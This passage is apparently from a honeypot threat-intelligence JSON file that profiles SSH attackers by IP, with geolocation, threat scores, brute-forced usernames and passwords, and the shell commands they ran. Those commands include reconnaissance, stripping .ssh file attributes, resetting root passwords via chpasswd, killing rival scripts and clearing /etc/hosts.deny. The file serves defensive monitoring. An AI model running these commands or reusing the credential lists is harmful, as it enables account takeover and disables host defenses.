        "echo \"wampp\\n5GZHShnusEmI\\n5GZHShnusEmI\\n\"|passwd",
        "echo -e \"123456\\nyhVZpQ5sIjUh\\nyhVZpQ5sIjUh\"|passwd|bash",
        "echo -e \"Admin31!\\nnzTQwtADVhTO\\nnzTQwtADVhTO\"|passwd|bash",
        "echo -e \"jenkins1\\ndaY6lENYTqoC\\ndaY6lENYTqoC\"|passwd|bash",
        "echo -e \"password1234\\nk8zGbkzgQQfk\\nk8zGbkzgQQfk\"|passwd|bash",
        "echo -e \"wampp\\n5GZHShnusEmI\\n5GZHShnusEmI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 762,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T06:31:20.507000+00:00",
        "last_seen_30d": "2026-04-29T04:33:04.476000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 620,
        "Suricata": 142
      }
    },
    "223.17.5.126": {
      "attack_count": 469,
      "first_seen": "2026-04-19T17:44:34.773Z",
      "last_seen": "2026-04-19T18:25:38.554Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "ftpuser01",
        "adrian",
        "frappe",
        "ftp-user",
        "lh",
        "popuser",
        "postgres",
        "sambauser",
        "sammy",
        "teamspeak",
        "usuario2",
        "zjw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "123@123aA",
        "Default2024!",
        "Frappe2025",
        "Qazwsx1234567#$",
        "Qazwsx2021@123",
        "Sammy12",
        "Sss123456",
        "Teamspeak31",
        "Ubuntu18",
        "ZAQ!2wsx2018#",
        "ZAQ!2wsx2025!@",
        "ZZdd123",
        "admin2024",
        "admin@123",
        "adrian",
        "ali123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123@123aA\\n1TvgVfSpxxl6\\n1TvgVfSpxxl6\\n\"|passwd",
        "echo \"admin2024\\nlbDcCgpjqZu5\\nlbDcCgpjqZu5\\n\"|passwd",
        "echo \"admin@123\\nVGE0gc8Q7Amo\\nVGE0gc8Q7Amo\\n\"|passwd",
        "echo \"ftpuser01\\nALTd3FVnw9DM\\nALTd3FVnw9DM\\n\"|passwd",
        "echo \"root:K5946s3UK8f7\"|chpasswd|bash",
        "echo -e \"123@123aA\\n1TvgVfSpxxl6\\n1TvgVfSpxxl6\"|passwd|bash",
        "echo -e \"admin2024\\nlbDcCgpjqZu5\\nlbDcCgpjqZu5\"|passwd|bash",
        "echo -e \"admin@123\\nVGE0gc8Q7Amo\\nVGE0gc8Q7Amo\"|passwd|bash",
        "echo -e \"ftpuser01\\nALTd3FVnw9DM\\nALTd3FVnw9DM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 547,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:44:34.773000+00:00",
        "last_seen_30d": "2026-04-19T18:26:44.200000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 78
      }
    },
    "103.117.56.120": {
      "attack_count": 468,
      "first_seen": "2026-04-11T14:51:40.181Z",
      "last_seen": "2026-04-11T15:39:02.828Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "laura",
        "manager",
        "test",
        "ubuntu",
        "xw",
        "bayu",
        "dev",
        "gitlab-runner",
        "m1",
        "sammy",
        "support"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123",
        "000000",
        "1",
        "111",
        "123456",
        "13082025",
        "8888",
        "Qazwsx2025@123",
        "Sammy22!",
        "admin123",
        "bayu",
        "dev23!",
        "laura",
        "m1",
        "pass2025",
        "personal123",
        "qazwsx1234#",
        "qwaszx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nBVM9fq9BfdwC\\nBVM9fq9BfdwC\\n\"|passwd",
        "echo \"laura\\nJq34xUGBsTfR\\nJq34xUGBsTfR\\n\"|passwd",
        "echo \"root:DwEQmwgRl7gT\"|chpasswd|bash",
        "echo \"root:sgPoDHLS8bS6\"|chpasswd|bash",
        "echo \"xw\\nYNcSl8InFGnN\\nYNcSl8InFGnN\\n\"|passwd",
        "echo -e \"123456\\nBVM9fq9BfdwC\\nBVM9fq9BfdwC\"|passwd|bash",
        "echo -e \"laura\\nJq34xUGBsTfR\\nJq34xUGBsTfR\"|passwd|bash",
        "echo -e \"xw\\nYNcSl8InFGnN\\nYNcSl8InFGnN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 547,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T14:51:40.181000+00:00",
        "last_seen_30d": "2026-04-11T15:40:09.347000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 468,
        "Suricata": 79
      }
    },
    "103.171.85.42": {
      "attack_count": 456,
      "first_seen": "2026-04-08T18:40:30.693Z",
      "last_seen": "2026-04-13T10:15:26.322Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "ec2-user",
        "git",
        "user",
        "adminz",
        "celery",
        "claude",
        "db2fenc1",
        "esuser",
        "frappe",
        "ftpuser",
        "la",
        "oracle",
        "postgres",
        "sftpuser",
        "teamspeak",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "!QAZ2wsx1234",
        "12!@qwQW",
        "1234",
        "123456qwerty",
        "1qaz2wsx3edc4rfv",
        "654321",
        "A123456789012",
        "Aa11111111",
        "Abcd@12345",
        "Admin2024!@",
        "Claude10",
        "Frappe28!",
        "Oracle12345",
        "Password1!",
        "Pi@123456",
        "Qazwsx2022@@",
        "Qwerty1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Password1!\\nYuIDIQKzBKC7\\nYuIDIQKzBKC7\\n\"|passwd",
        "echo \"root:mOSuv1v5AHJt\"|chpasswd|bash",
        "echo \"root@123\\nBS53Wdj0qHpN\\nBS53Wdj0qHpN\\n\"|passwd",
        "echo -e \"Password1!\\nYuIDIQKzBKC7\\nYuIDIQKzBKC7\"|passwd|bash",
        "echo -e \"root@123\\nBS53Wdj0qHpN\\nBS53Wdj0qHpN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T18:40:30.693000+00:00",
        "last_seen_30d": "2026-04-13T10:16:28.157000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 130
      }
    },
    "51.195.138.37": {
      "attack_count": 430,
      "first_seen": "2026-04-05T16:50:11.204Z",
      "last_seen": "2026-04-27T21:47:55.357Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "bot",
        "devuser",
        "drcomadmin",
        "frappe",
        "linux",
        "myuser",
        "n8n",
        "odoo",
        "ora_root",
        "oracle",
        "postgres",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "123123",
        "123456",
        "123456A@",
        "1q2w3e4r5t",
        "1qaz@WSX",
        "1qazED",
        "5tgb4rfv3edc",
        "@1234567890",
        "A12345687",
        "Appmlk4169",
        "Claude25",
        "Cw123456",
        "Mima2024",
        "N8n03",
        "P@ssw0rd",
        "P@ssw0rd123!",
        "PASSWORD."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude25\\ngYj5uhXqWwvg\\ngYj5uhXqWwvg\\n\"|passwd",
        "echo \"root:Wj3A0ITXtsGT\"|chpasswd|bash",
        "echo \"root:k8wJQhsmTUDc\"|chpasswd|bash",
        "echo -e \"Claude25\\ngYj5uhXqWwvg\\ngYj5uhXqWwvg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:50:11.204000+00:00",
        "last_seen_30d": "2026-04-27T21:49:04.317000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 116
      }
    },
    "74.87.117.146": {
      "attack_count": 430,
      "first_seen": "2026-04-02T02:19:44.016Z",
      "last_seen": "2026-04-21T17:02:14.145Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "postgres",
        "claude",
        "frappe",
        "fts",
        "git",
        "lihui",
        "mtcl",
        "ossadm",
        "sammy",
        "teamspeak",
        "zain"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "02025025Ionela",
        "123.asd",
        "12344321",
        "123456",
        "12345670",
        "123qwe!@#",
        "123qwe-=",
        "505050",
        "5454",
        "@Hc123456",
        "A1234562",
        "ABC12345678",
        "Admin654321",
        "Changeme_123",
        "Mj123456",
        "Monster",
        "Password001",
        "Qw3rty123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12344321\\nPX6K9kpAcpr3\\nPX6K9kpAcpr3\\n\"|passwd",
        "echo \"root:AfN7nrJj0ofz\"|chpasswd|bash",
        "echo \"root:d5muKIkPohgG\"|chpasswd|bash",
        "echo -e \"12344321\\nPX6K9kpAcpr3\\nPX6K9kpAcpr3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Appleton",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:19:44.016000+00:00",
        "last_seen_30d": "2026-04-21T17:03:22.359000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 121
      }
    },
    "34.123.134.194": {
      "attack_count": 366,
      "first_seen": "2026-04-01T02:40:36.342Z",
      "last_seen": "2026-04-21T19:07:19.558Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nishant",
        "ubuntu",
        "VPN",
        "admin",
        "ftp_id",
        "hamza",
        "jrodrig",
        "n8n",
        "nisuser",
        "oracle",
        "postgres",
        "test",
        "user0",
        "vbox"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "$SatCom$",
        "123456",
        "1234567",
        "17951",
        "1qa2ws3ed4rf",
        "1qq2w3e4r5t",
        "22222",
        "789987",
        "Admin2026",
        "GIGA001",
        "GU3ST!",
        "N8n16!",
        "Originalcox!@#",
        "Pa@123456",
        "Postgres20",
        "Qazwsx0000@#",
        "Root12$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"nishant\\nELCiSmMlXINW\\nELCiSmMlXINW\\n\"|passwd",
        "echo \"root:EizrsRHudmwM\"|chpasswd|bash",
        "echo -e \"nishant\\nELCiSmMlXINW\\nELCiSmMlXINW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 487,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:40:36.342000+00:00",
        "last_seen_30d": "2026-04-21T19:08:29.018000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 366,
        "Suricata": 121
      }
    },
    "89.47.53.19": {
      "attack_count": 331,
      "first_seen": "2026-04-13T23:34:48.305Z",
      "last_seen": "2026-04-14T00:11:13.907Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "devops",
        "claude",
        "db_user",
        "git",
        "luz",
        "onkar",
        "oracle",
        "plexuser",
        "postgres",
        "test",
        "test01",
        "ubuntu",
        "vikas",
        "vpn",
        "webdeploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Qazwsx321.",
        "Qwerty2026",
        "aaQQ112233",
        "ab123456",
        "db_user",
        "deploy123456789",
        "devops@2025",
        "luz",
        "onkar123",
        "password123456",
        "plexuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy123456789\\nXcGADXWOppvc\\nXcGADXWOppvc\\n\"|passwd",
        "echo \"devops@2025\\nCMziOyoGPHMC\\nCMziOyoGPHMC\\n\"|passwd",
        "echo \"root:8CVFOdYZiKjv\"|chpasswd|bash",
        "echo -e \"deploy123456789\\nXcGADXWOppvc\\nXcGADXWOppvc\"|passwd|bash",
        "echo -e \"devops@2025\\nCMziOyoGPHMC\\nCMziOyoGPHMC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 205275,
      "as_org": "ROMARG SRL",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:34:48.305000+00:00",
        "last_seen_30d": "2026-04-14T00:12:18.652000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "195.161.114.163": {
      "attack_count": 289,
      "first_seen": "2026-04-20T12:09:04.989Z",
      "last_seen": "2026-04-30T09:07:31.190Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "amir",
        "esb",
        "ftp_user",
        "ftpuser",
        "lighthouse",
        "mine"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "000000",
        "123123Qwe",
        "123456",
        "12345678910",
        "123qweASD",
        "860905",
        "ADMIN",
        "Abc@2025",
        "Admin123",
        "Admin2024@",
        "Beyond@123",
        "Fy123456",
        "Ly123456",
        "QAZ!@#456",
        "Qk123456",
        "Root12345",
        "Tt@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678910\\nBRSDsFW0pVw5\\nBRSDsFW0pVw5\\n\"|passwd",
        "echo \"root:K6sirJMG7sMR\"|chpasswd|bash",
        "echo -e \"12345678910\\nBRSDsFW0pVw5\\nBRSDsFW0pVw5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8342,
      "as_org": "JSC RTComm.RU",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T12:09:04.989000+00:00",
        "last_seen_30d": "2026-04-30T09:08:39.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 289,
        "Suricata": 76
      }
    },
    "212.115.54.84": {
      "attack_count": 287,
      "first_seen": "2026-04-30T05:38:42.294Z",
      "last_seen": "2026-04-30T06:20:27.343Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "ftptest",
        "testftp",
        "user",
        "admin",
        "cloud_user",
        "csadmin",
        "kafka",
        "minecraft",
        "ocadmin",
        "oracle",
        "vpn",
        "webmaster"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "0",
        "000",
        "00000",
        "111111",
        "123",
        "123321",
        "12345",
        "1234rfv",
        "Qwer!234",
        "abc",
        "abc123",
        "abc123456",
        "admin",
        "admin10086",
        "admin@123!",
        "asd",
        "cloud_user"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"111111\\nWuc8xUDRvLxU\\nWuc8xUDRvLxU\\n\"|passwd",
        "echo \"root:oXCTmvdWLZZG\"|chpasswd|bash",
        "echo -e \"111111\\nWuc8xUDRvLxU\\nWuc8xUDRvLxU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 138968,
      "as_org": "rainbow network limited",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:38:42.294000+00:00",
        "last_seen_30d": "2026-04-30T06:21:30.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 75
      }
    },
    "171.25.158.58": {
      "attack_count": 281,
      "first_seen": "2026-04-29T21:45:30.779Z",
